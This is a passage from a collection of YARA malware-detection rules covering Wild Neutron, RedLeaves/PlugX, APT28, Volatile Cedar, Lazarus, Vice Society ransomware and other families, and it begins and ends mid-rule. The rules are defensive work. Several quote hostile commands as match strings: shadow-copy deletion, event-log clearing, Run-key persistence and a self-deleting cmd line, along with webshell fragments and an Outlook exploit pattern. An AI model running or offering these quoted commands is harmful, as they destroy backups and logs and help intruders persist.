		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
		date = "2015-07-10"
		modified = "2023-01-06"
		score = 60
		hash = "781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e"
		id = "dbfdbe8c-4a4a-5512-a03d-e9f80c853d48"

	strings:
		$s0 = "http://get.adobe.com/flashplayer/" wide
		$s4 = " Player Installer/Uninstaller" fullword wide
		$s5 = "Adobe Flash Plugin Updater" fullword wide
		$s6 = "uSOFTWARE\\Adobe" fullword wide
		$s11 = "2008R2" fullword wide
		$s12 = "%02d.%04d.%s" fullword wide
		$s13 = "%d -> %d" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1477KB and all of them
}

rule WildNeutron_Sample_10
{
	meta:
		description = "Wild Neutron APT Sample Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
		date = "2015-07-10"
		score = 60
		hash = "1d3bdabb350ba5a821849893dabe5d6056bf7ba1ed6042d93174ceeaa5d6dad7"
		id = "5654a36f-8502-5e18-b8f3-94d4add466a7"

	strings:
		$n1 = "/c for /L %%i in (1,1,2) DO ping 127.0.0.1 -n 3 & type %%windir%%\\notepad.exe > %s & del /f %s" fullword ascii
		$s1 = "%SYSTEMROOT%\\temp\\_dbg.tmp" fullword ascii
		$s2 = "%SYSTEMROOT%\\SysWOW64\\mspool.dll" fullword ascii
		$s3 = "%SYSTEMROOT%\\System32\\dpcore16t.dll" fullword ascii
		$s4 = "%SYSTEMROOT%\\System32\\wdigestEx.dll" fullword ascii
		$s5 = "%SYSTEMROOT%\\System32\\mspool.dll" fullword ascii
		$s6 = "%SYSTEMROOT%\\System32\\kernel32.dll" fullword ascii
		$s7 = "%SYSTEMROOT%\\SysWOW64\\iastor32.exe" fullword ascii
		$s8 = "%SYSTEMROOT%\\System32\\msvcse.exe" fullword ascii
		$s9 = "%SYSTEMROOT%\\System32\\mshtaex.exe" fullword ascii
		$s10 = "%SYSTEMROOT%\\System32\\iastor32.exe" fullword ascii
		$s11 = "%SYSTEMROOT%\\SysWOW64\\mshtaex.exe" fullword ascii
		$x1 = "wdigestEx.dll" fullword ascii
		$x2 = "dpcore16t.dll" fullword ascii
		$x3 = "mspool.dll" fullword ascii
		$x4 = "msvcse.exe" fullword ascii
		$x5 = "mshtaex.exe" fullword wide
		$x6 = "iastor32.exe" fullword ascii
		$y1 = "Installer.exe" fullword ascii
		$y2 = "Info: Process %s" fullword ascii
		$y3 = "Error: GetFileTime %s 0x%x" fullword ascii
		$y4 = "Install succeeded" fullword ascii
		$y5 = "Error: RegSetValueExA 0x%x" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( $n1 or ( 1 of ( $s* ) and 1 of ( $x* ) and 3 of ( $y* ) ) )
}

rule APT_MAL_WildNeutron_javacpl
{
	meta:
		description = "Wild Neutron APT Sample Rule"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
		date = "2015-07-10"
		modified = "2023-01-06"
		old_rule_name = "WildNeutron_javacpl"
		score = 60
		hash1 = "683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9"
		hash2 = "758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92"
		hash3 = "8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a"
		id = "de82827e-61d4-559e-886a-78d5293ab141"

	strings:
		$s1 = "RunFile: couldn't find ShellExecuteExA/W in SHELL32.DLL!" ascii fullword
		$s2 = "cmdcmdline" wide fullword
		$s3 = "\"%s\" /K %s" wide fullword
		$s4 = "Process is not running any more" wide fullword
		$s5 = "dpnxfsatz" wide fullword
		$op1 = { ff d6 50 ff 15 ?? ?? 43 00 8b f8 85 ff 74 34 83 64 24 0c 00 e8 ?? ?? 02 00 }
		$op2 = { b8 02 00 00 00 01 45 80 01 45 88 6a 00 47 52 89 7d 8c 03 d8 }
		$op3 = { 8b c7 f7 f6 46 89 b5 c8 fd ff ff 0f b7 c0 8b c8 0f af ce 3b cf }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5MB and ( all of ( $s* ) or all of ( $op* ) )
}

rule Dropper_DeploysMalwareViaSideLoading
{
	meta:
		description = "Detects a dropper used to deploy an implant via side loading. This dropper has specifically been observed deploying REDLEAVES & PlugX"
		author = "USG"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
		true_positive = "5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481: drops REDLEAVES. 6392e0701a77ea25354b1f40f5b867a35c0142abde785a66b83c9c8d2c14c0c3: drops plugx. "
		id = "2e7cdedd-2358-5d71-a3ec-73dec442d840"

	strings:
		$UniqueString = {2e 6c 6e 6b [0-14] 61 76 70 75 69 2e 65 78 65}
		$PsuedoRandomStringGenerator = {b9 1a [0-6] f7 f9 46 80 c2 41 88 54 35 8b 83 fe 64}

	condition:
		any of them
}

rule REDLEAVES_DroppedFile_ImplantLoader_Starburn
{
	meta:
		description = "Detects the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT"
		author = "USG"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
		true_positive = "7f8a867a8302fe58039a6db254d335ae"
		id = "976f42b1-58c9-554b-97e6-130a657507e2"

	strings:
		$XOR_Loop = {32 0c 3a 83 c2 02 88 0e 83 fa 08 [4-14] 32 0c 3a 83 c2 02 88 0e 83 fa 10}

	condition:
		any of them
}

rule REDLEAVES_DroppedFile_ObfuscatedShellcodeAndRAT_handkerchief
{
	meta:
		description = "Detects obfuscated .dat file containing shellcode and core REDLEAVES RAT"
		author = "USG"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
		true_positive = "fb0c714cd2ebdcc6f33817abe7813c36"
		id = "51a28529-1084-5f24-9369-6427e8d51d9d"

	strings:
		$RedleavesStringObfu = {73 64 65 5e 60 74 75 74 6c 6f 60 6d 5e 6d 64 60 77 64 72 5e 65 6d 6d 6c 60 68 6f 2f 65 6d 6d}

	condition:
		any of them
}

rule REDLEAVES_CoreImplant_UniqueStrings
{
	meta:
		description = "Strings identifying the core REDLEAVES RAT in its deobfuscated state"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
		author = "USG"
		id = "fd4d4804-f7d9-549d-8f63-5f409d6180f9"

	strings:
		$unique2 = "RedLeavesSCMDSimulatorMutex" nocase wide ascii
		$unique4 = "red_autumnal_leaves_dllmain.dll" wide ascii
		$unique7 = "\\NamePipe_MoreWindows" wide ascii

	condition:
		any of them
}

rule PLUGX_RedLeaves
{
	meta:
		author = "US-CERT Code Analysis Team"
		date = "03.04.2017"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
		incident = "10118538"
		date = "2017-04-03"
		MD5_1 = "598FF82EA4FB52717ACAFB227C83D474"
		MD5_2 = "7D10708A518B26CC8C3CBFBAA224E032"
		MD5_3 = "AF406D35C77B1E0DF17F839E36BCE630"
		MD5_4 = "6EB9E889B091A5647F6095DCD4DE7C83"
		MD5_5 = "566291B277534B63EAFC938CDAAB8A399E41AF7D"
		description = "Detects specific RedLeaves and PlugX binaries"
		id = "ede8ad8f-31cf-5314-9777-bddd60e499f2"

	strings:
		$s0 = { 80343057403D2FD0010072F433C08BFF80343024403D2FD0010072F4 }
		$s1 = "C:\\Users\\user\\Desktop\\my_OK_2014\\bit9\\runsna\\Release\\runsna.pdb"
		$s2 = "d:\\work\\plug4.0(shellcode)"
		$s3 = "\\shellcode\\shellcode\\XSetting.h"
		$s4 = { 42AFF4276A45AA58474D4C4BE03D5B395566BEBCBDEDE9972872C5C4C5498228 }
		$s5 = { 8AD32AD002D180C23830140E413BCB7CEF6A006A006A00566A006A00 }
		$s6 = { EB055F8BC7EB05E8F6FFFFFF558BEC81ECC8040000535657 }
		$s7 = { 8A043233C932043983C10288043283F90A7CF242890D18AA00103BD37CE2891514AA00106A006A006A0056 }
		$s8 = { 293537675A402A333557B05E04D09CB05EB3ADA4A4A40ED0B7DAB7935F5B5B08 }
		$s9 = "RedLeavesCMDSimulatorMutex"

	condition:
		$s0 or $s1 or $s2 and $s3 or $s4 or $s5 or $s6 or $s7 or $s8 or $s9
}

rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24
{
	meta:
		description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
		author = "X__Junior, Florian Roth"
		reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
		date = "2024-02-17"
		modified = "2024-02-19"
		score = 75

	strings:
		$a1 = "Subject: "
		$a2 = "Received: "
		$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/

	condition:
		filesize < 1000KB and all of ( $a* ) and 1 of ( $xr* )
}

rule APT28_HospitalityMalware_document
{
	meta:
		description = "Yara Rule for APT28_Hospitality_Malware document identification"
		author = "CSE CybSec Enterprise - Z-Lab"
		reference = "http://csecybsec.com/download/zlab/APT28_Hospitality_Malware_report.pdf"
		last_updated = "2017-10-02"
		tlp = "white"
		id = "722e80ef-d729-5887-9853-cd06128f506d"

	strings:
		$a = {75 52 B9 ED 1B D6 83 0F DB 24 CA 87 4F 5F 25 36 BF 66 BA}
		$b = {EC 3B 6D 74 5B C5 95 F3 9E 24 5B FE 4A 64 C7 09 CE 07 C9 58 4E 62 3B}

	condition:
		all of them and filesize > 75KB and filesize < 82KB
}

import "pe"

rule APT28_HospitalityMalware_mvtband_file
{
	meta:
		description = "Yara Rule for mvtband.dll malware"
		author = "CSE CybSec Enterprise - Z-Lab"
		reference = "http://csecybsec.com/download/zlab/APT28_Hospitality_Malware_report.pdf"
		last_updated = "2017-10-02"
		tlp = "white"
		id = "f9e34c77-38b3-513e-bb29-148ac7058596"

	strings:
		$a = "DGMNOEP"
		$b = {C7 45 94 0A 25 73 30 8D 45 94}

	condition:
		all of them and pe.sections [ 2 ] . raw_data_size == 0
}

rule PUP_InstallRex_AntiFWb
{
	meta:
		description = "Malware InstallRex / AntiFW"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-05-13"
		hash = "bb5607cd2ee51f039f60e32cf7edc4e21a2d95cd"
		score = 55
		id = "b327527e-8b88-5292-933b-102bd76df4eb"

	strings:
		$s4 = "Error %u while loading TSU.DLL %ls" fullword ascii
		$s7 = "GetModuleFileName() failed => %u" fullword ascii
		$s8 = "TSULoader.exe" fullword wide
		$s15 = "\\StringFileInfo\\%04x%04x\\Arguments" wide
		$s17 = "Tsu%08lX.dll" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule Explosive_EXE : APT
{
	meta:
		description = "Explosion/Explosive Malware - Volatile Cedar APT"
		author = "Check Point Software Technologies Inc."
		id = "3a9fb6b2-2f19-5d70-81ed-a08c3b8b2d80"

	strings:
		$DLD_S = "DLD-S:"
		$DLD_E = "DLD-E:"

	condition:
		all of them and uint16( 0 ) == 0x5A4D
}

rule Explosion_Sample_1
{
	meta:
		description = "Explosion/Explosive Malware - Volatile Cedar APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/5vYaNb"
		date = "2015/04/03"
		score = 70
		hash = "c97693ecb36247bdb44ab3f12dfeae8be4d299bb"
		id = "dcf28185-75a8-5c9f-9f60-edb8dc187e16"

	strings:
		$s5 = "REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
		$s9 = "WinAutologon From Winlogon Reg" fullword ascii
		$s10 = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0" fullword ascii
		$s11 = "IE:Password-Protected sites" fullword ascii
		$s12 = "\\his.sys" ascii
		$s13 = "HTTP Password" fullword ascii
		$s14 = "\\data.sys" ascii
		$s15 = "EL$_RasDefaultCredentials#0" fullword wide
		$s17 = "Office Outlook HTTP" fullword ascii
		$s20 = "Hist :<b> %ws</b>  :%s </br></br>" fullword ascii

	condition:
		all of them and uint16( 0 ) == 0x5A4D
}

rule Explosion_Sample_2
{
	meta:
		description = "Explosion/Explosive Malware - Volatile Cedar APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/5vYaNb"
		date = "2015/04/03"
		score = 70
		hash = "62fe6e9e395f70dd632c70d5d154a16ff38dcd29"
		id = "8be7ed50-0bfc-5302-b4fa-8817bf1750d7"

	strings:
		$s0 = "serverhelp.dll" fullword wide
		$s1 = "Windows Help DLL" fullword wide
		$s5 = "SetWinHoK" fullword ascii

	condition:
		all of them and uint16( 0 ) == 0x5A4D
}

rule Explosion_Generic_1
{
	meta:
		description = "Generic Rule for Explosion/Explosive Malware - Volatile Cedar APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "not set"
		date = "2015/04/03"
		score = 70
		super_rule = 1
		hash0 = "d0f059ba21f06021579835a55220d1e822d1233f95879ea6f7cb9d301408c821"
		hash1 = "1952fa94b582e9af9dca596b5e51c585a78b8b1610639e3b878bbfa365e8e908"
		hash2 = "d8fdcdaad652c19f4f4676cd2f89ae834dbc19e2759a206044b18601875f2726"
		hash3 = "e2e6ed82703de21eb4c5885730ba3db42f3ddda8b94beb2ee0c3af61bc435747"
		hash4 = "03641e5632673615f23b2a8325d7355c4499a40f47b6ae094606a73c56e24ad0"
		id = "dc3721b6-c19e-5449-9962-2a6f844e49b4"

	strings:
		$s0 = "autorun.exe" fullword
		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CL"
		$s2 = "%drp.exe" fullword
		$s3 = "%s_%s%d.exe" fullword
		$s4 = "open=autorun.exe" fullword
		$s5 = "http://www.microsoft.com/en-us/default.aspx" fullword
		$s10 = "error.renamefile" fullword
		$s12 = "insufficient lookahead" fullword
		$s13 = "%s %s|" fullword
		$s16 = ":\\autorun.exe" fullword

	condition:
		7 of them and uint16( 0 ) == 0x5A4D
}

rule Explosive_UA
{
	meta:
		description = "Explosive Malware Embedded User Agent - Volatile Cedar APT http://goo.gl/HQRCdw"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/HQRCdw"
		date = "2015/04/03"
		score = 60
		id = "d88d5fd6-adf9-5ced-8b79-e47e3ffbde50"

	strings:
		$x1 = "Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)" fullword

	condition:
		$x1 and uint16( 0 ) == 0x5A4D
}

rule Webshell_Caterpillar_ASPX
{
	meta:
		description = "Volatile Cedar Webshell - from file caterpillar.aspx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/emons5"
		date = "2015/04/03"
		super_rule = 1
		hash0 = "af4c99208fb92dc42bc98c4f96c3536ec8f3fe56"
		id = "9af48c64-3768-5765-8245-38df000598a7"

	strings:
		$s0 = "Dim objNewRequest As WebRequest = HttpWebRequest.Create(sURL)" fullword
		$s1 = "command = \"ipconfig /all\"" fullword
		$s3 = "For Each xfile In mydir.GetFiles()" fullword
		$s6 = "Dim oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
		$s10 = "recResult = adoConn.Execute(strQuery)" fullword
		$s12 = "b = Request.QueryString(\"src\")" fullword
		$s13 = "rw(\"<a href='\" + link + \"' target='\" + target + \"'>\" + title + \"</a>\")" fullword

	condition:
		all of them
}

rule APT_Lazarus_Aug18_Downloader_1
{
	meta:
		description = "Detects Lazarus Group Malware Downloadery"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/operation-applejeus/87553/"
		date = "2018-08-24"
		hash1 = "d555dcb6da4a6b87e256ef75c0150780b8a343c4a1e09935b0647f01d974d94d"
		hash2 = "bdff852398f174e9eef1db1c2d3fefdda25fe0ea90a40a2e06e51b5c0ebd69eb"
		hash3 = "e2199fc4e4b31f7e4c61f6d9038577633ed6ad787718ed7c39b36f316f38befd"
		id = "f536db7b-b645-522f-b750-6431878d2e31"

	strings:
		$x1 = "H:\\DEV\\TManager\\" ascii
		$x2 = "\\Release\\dloader.pdb" ascii
		$x3 = "Z:\\jeus\\"
		$x4 = "\\Debug\\dloader.pdb" ascii
		$x5 = "Moz&Wie;#t/6T!2yW29ab@ad%Df324V$Yd" fullword ascii
		$s1 = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" fullword ascii
		$s2 = "Error protecting memory page" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( ( 1 of ( $x* ) or 2 of them ) )
}

import "pe"

rule APT_Lazarus_Aug18_1
{
	meta:
		description = "Detects Lazarus Group Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/operation-applejeus/87553/"
		date = "2018-08-24"
		hash1 = "ef400d73c6920ac811af401259e376458b498eb0084631386136747dfc3dcfa8"
		hash2 = "1b8d3e69fc214cb7a08bef3c00124717f4b4d7fd6be65f2829e9fd337fc7c03c"
		id = "fda4970a-2787-5e9c-9944-a6222145f4a7"

	strings:
		$s1 = "mws2_32.dll" fullword wide
		$s2 = "%s.bat" fullword wide
		$s3 = "%s%s%s \"%s > %s 2>&1\"" fullword wide
		$s4 = "Microsoft Corporation. All rights reserved." fullword wide
		$s5 = "ping 127.0.0.1 -n 3" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "3af996e4f960108533e69b9033503f40" or 4 of them )
}

rule APT_Lazarus_Aug18_2
{
	meta:
		description = "Detects Lazarus Group Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/operation-applejeus/87553/"
		date = "2018-08-24"
		hash1 = "8ae766795cda6336fd5cad9e89199ea2a1939a35e03eb0e54c503b1029d870c4"
		hash2 = "d3ef262bae0beb5d35841d131b3f89a9b71a941a86dab1913bda72b935744d2e"
		id = "3c77d603-6443-5e78-8a8a-a89112619aa6"

	strings:
		$s1 = "vAdvapi32.dll" fullword wide
		$s2 = "lws2_32.dll" fullword wide
		$s3 = "%s %s > \"%s\" 2>&1" fullword wide
		$s4 = "Not Service" fullword wide
		$s5 = "ping 127.0.0.1 -n 3" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( 4 of them )
}

rule APT_FallChill_RC4_Keys
{
	meta:
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		description = "Detects FallChill RC4 keys"
		reference = "https://securelist.com/operation-applejeus/87553/"
		date = "2018-08-21"
		id = "ead7d84c-91aa-58b0-af3b-1211b0bde864"

	strings:
		$cod0 = { c7 ?? ?? da e1 61 ff
                c7 ?? ?? 0c 27 95 87
                c7 ?? ?? 17 57 a4 d6
                c7 ?? ?? ea e3 82 2b }

	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule SUSP_RAR_Single_Doc_File
{
	meta:
		description = "Detects suspicious RAR files that contain nothing but a single .doc file"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2020-07-11"
		score = 40
		id = "92dc3a5d-d12c-56d3-8531-25b3da1e1595"

	strings:
		$s1 = ".doc"

	condition:
		uint16( 0 ) == 0x6152 and filesize < 4000KB and $s1 at ( uint16( 5 ) + uint16( uint16( 5 ) + 5 ) + uint16( uint16( 5 ) + uint16( uint16( 5 ) + 5 ) + 5 ) - 9 ) and ( uint16( 5 ) + uint16( uint16( 5 ) + 5 ) + uint16( uint16( 5 ) + uint16( uint16( 5 ) + 5 ) + 5 ) + uint32( uint16( 5 ) + uint16( uint16( 5 ) + 5 ) + 7 ) > filesize - 8 )
}

rule LOG_TeamViewer_Connect_Chinese_Keyboard_Layout
{
	meta:
		description = "Detects a suspicious TeamViewer log entry stating that the remote systems had a Chinese keyboard layout"
		author = "Florian Roth (Nextron Systems)"
		date = "2019-10-12"
		modified = "2020-12-16"
		score = 60
		limit = "Logscan"
		reference = "https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/default-input-locales-for-windows-language-packs"
		id = "f901818b-5150-540f-b645-686c12784a38"

	strings:
		$x1 = "Changing keyboard layout to: 0804" ascii
		$x2 = "Changing keyboard layout to: 042a"
		$fp1 = "Changing keyboard layout to: 08040804" ascii
		$fp2 = "Changing keyboard layout to: 042a042a" ascii

	condition:
		(#x1 + #x2 ) > ( #fp1 + #fp2 )
}

rule LOG_TeamViewer_Connect_Russian_Keyboard_Layout
{
	meta:
		description = "Detects a suspicious TeamViewer log entry stating that the remote systems had a Russian keyboard layout"
		author = "Florian Roth (Nextron Systems)"
		date = "2019-10-12"
		modified = "2022-12-07"
		score = 60
		limit = "Logscan"
		reference = "https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/default-input-locales-for-windows-language-packs"
		id = "360a1cca-2a64-5fd8-bcde-f49e1b17281e"

	strings:
		$x1 = "Changing keyboard layout to: 0419" ascii
		$fp1 = "Changing keyboard layout to: 04190419" ascii

	condition:
		#x1> #fp1
}

rule APT_MAL_RANSOM_ViceSociety_PolyVice_Jan23_1
{
	meta:
		description = "Detects NTRU-ChaChaPoly (PolyVice) malware used by Vice Society"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/"
		date = "2023-01-12"
		modified = "2023-01-13"
		score = 75
		hash1 = "326a159fc2e7f29ca1a4c9a64d45b76a4a072bc39ba864c49d804229c5f6d796"
		hash2 = "8c8cb887b081e0d92856fb68a7df0dabf0b26ed8f0a6c8ed22d785e596ce87f4"
		hash3 = "9d9e949ecd72d7a7c4ae9deae4c035dcae826260ff3b6e8a156240e28d7dbfef"
		id = "e450407c-6c21-56bf-aedf-8e7f3890abe2"

	strings:
		$x1 = "C:\\Users\\root\\Desktop\\niX\\CB\\libntru\\" ascii
		$s1 = "C:\\Users\\root" ascii fullword
		$s2 = "#DBG: target = %s" ascii fullword
		$s3 = "# ./%s [-p <path>]/[-f <file> ] [-e <enc.extension>] [-m <requirements file name>]" ascii fullword
		$s4 = "### ################# ###" ascii fullword
		$op1 = { 89 ca 41 01 fa 89 ef 8b 6c 24 24 44 89 c9 09 d1 44 31 e6 89 c8 }
		$op2 = { bd 02 00 00 00 29 cd 48 0f bf d1 8b 44 46 02 01 44 53 02 8d 54 0d 00 83 c1 02 48 0f bf c2 }
		$op3 = { 48 29 c4 4c 8d 74 24 30 4c 89 f1 e8 46 3c 00 00 84 c0 41 89 c4 0f 85 2b 02 00 00 0f b7 45 f2 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) or 2 of them ) or 4 of them
}

rule APT_MAL_RANSOM_ViceSociety_Chily_Jan23_1
{
	meta:
		description = "Detects Chily or SunnyDay malware used by Vice Society"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/"
		date = "2023-01-12"
		score = 80
		hash1 = "4dabb914b8a29506e1eced1d0467c34107767f10fdefa08c40112b2e6fc32e41"
		id = "1be4adb9-e60c-5023-9230-07f5fd16daaa"

	strings:
		$x1 = ".[Chily@Dr.Com]" ascii fullword
		$s1 = "localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a>" ascii fullword
		$s2 = "C:\\Users\\root\\Desktop" ascii fullword
		$s3 = "for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"" wide fullword
		$s4 = "cd %userprofile%\\documents\\" wide
		$s5 = "noise.bmp" wide fullword
		$s6 = " Execution time: %fms (1sec=1000ms)" ascii fullword
		$s7 = "/c vssadmin.exe Delete Shadows /All /Quiet" wide fullword
		$op1 = { 4c 89 c5 89 ce 89 0d f5 41 02 00 4c 89 cf 44 8d 04 49 0f af f2 89 15 e9 41 02 00 44 89 c0 }
		$op2 = { 48 8b 03 48 89 d9 ff 50 10 84 c0 0f 94 c0 01 c0 48 83 c4 20 5b }
		$op3 = { 31 c0 47 8d 2c 00 45 85 f6 4d 63 ed 0f 8e ec 00 00 00 0f 1f 80 00 00 00 00 0f b7 94 44 40 0c 00 00 83 c1 01 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( 1 of ( $x* ) or 3 of them ) or 4 of them
}

rule MAL_Backdoor_SPAREPART_SleepGenerator
{
	meta:
		author = "Mandiant"
		date = "2022-12-14"
		description = "Detects the algorithm used to determine the next sleep timer"
		version = "1"
		weight = "100"
		hash = "f9cd5b145e372553dded92628db038d8"
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."
		reference = "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government"
		id = "b9cd46e4-0e06-5ead-8379-adcfc3c384d0"

	strings:
		$ = {C1 E8 06 89 [5] C1 E8 02 8B}
		$ = {c1 e9 03 33 c1 [3] c1 e9 05 33 c1 83 e0 01}
		$ = {8B 80 FC 00 00 00}
		$ = {D1 E8 [4] c1 E1 0f 0b c1}

	condition:
		all of them
}

rule MAL_Backdoor_SPAREPART_Struct
{
	meta:
		author = "Mandiant"
		date = "2022-12-14"
		description = "Detects the PDB and a struct used in SPAREPART"
		hash = "f9cd5b145e372553dded92628db038d8"
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."
		reference = "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government"
		id = "a04296d5-c146-5142-a8e8-418651f6b755"

	strings:
		$pdb = "c:\\Users\\user\\Desktop\\ImageAgent\\ImageAgent\\PreAgent\\src\\builder\\agent.pdb" ascii nocase
		$struct = { 44 89 ac ?? ?? ?? ?? ?? 4? 8b ac ?? ?? ?? ?? ?? 4? 83 c5 28 89 84 ?? ?? ?? ?? ?? 89 8c ?? ?? ?? ?? ?? 89 54 ?? ?? 44 89 44 ?? ?? 44 89 4c ?? ?? 44 89 54 ?? ?? 44 89 5c ?? ?? 89 5c ?? ?? 89 7c ?? ?? 89 74 ?? ?? 89 6c ?? ?? 44 89 74 ?? ?? 44 89 7c ?? ?? 44 89 64 ?? ?? 8b 84 ?? ?? ?? ?? ?? 44 8b c8 8b 84 ?? ?? ?? ?? ?? 44 8b c0 4? 8d 15 ?? ?? ?? ?? 4? 8b cd ff 15 ?? ?? ?? ??  }

	condition:
		( uint16( 0 ) == 0x5A4D ) and uint32( uint32( 0x3C ) ) == 0x00004550 and $pdb and $struct and filesize < 20KB
}

import "pe"

rule MAL_Floxif_Generic
{
	meta:
		description = "Detects Floxif Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-05-11"
		score = 80
		hash1 = "de055a89de246e629a8694bde18af2b1605e4b9b493c7e4aef669dd67acf5085"
		id = "5ddd6a6c-b02a-518b-bbe3-8f528b3d7eae"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "2f4ddcfebbcad3bacadc879747151f6f" or pe.exports ( "FloodFix" ) or pe.exports ( "FloodFix2" ) )
}

import "pe"

rule MAL_CN_FlyStudio_May18_1
{
	meta:
		description = "Detects malware / hacktool detected in May 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-05-11"
		hash1 = "b85147366890598518d4f277d44506eef871fd7fc6050d8f8e68889cae066d9e"
		id = "b78b9ea0-5eef-5922-b5d7-d3c5ddce7fad"

	strings:
		$s1 = "WTNE / MADE BY E COMPILER - WUTAO " fullword ascii
		$s2 = "www.cfyhack.cn" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( pe.imphash ( ) == "65ae5cf17140aeaf91e3e9911da0ee3e" or 1 of them )
}

import "pe"

rule SUSP_AdobePDF_SFX_Bitmap_Combo_Executable
{
	meta:
		description = "Detects a suspicious executable that contains both a SFX icon and an Adobe PDF icon"
		author = "Florian Roth (Nextron Systems)"
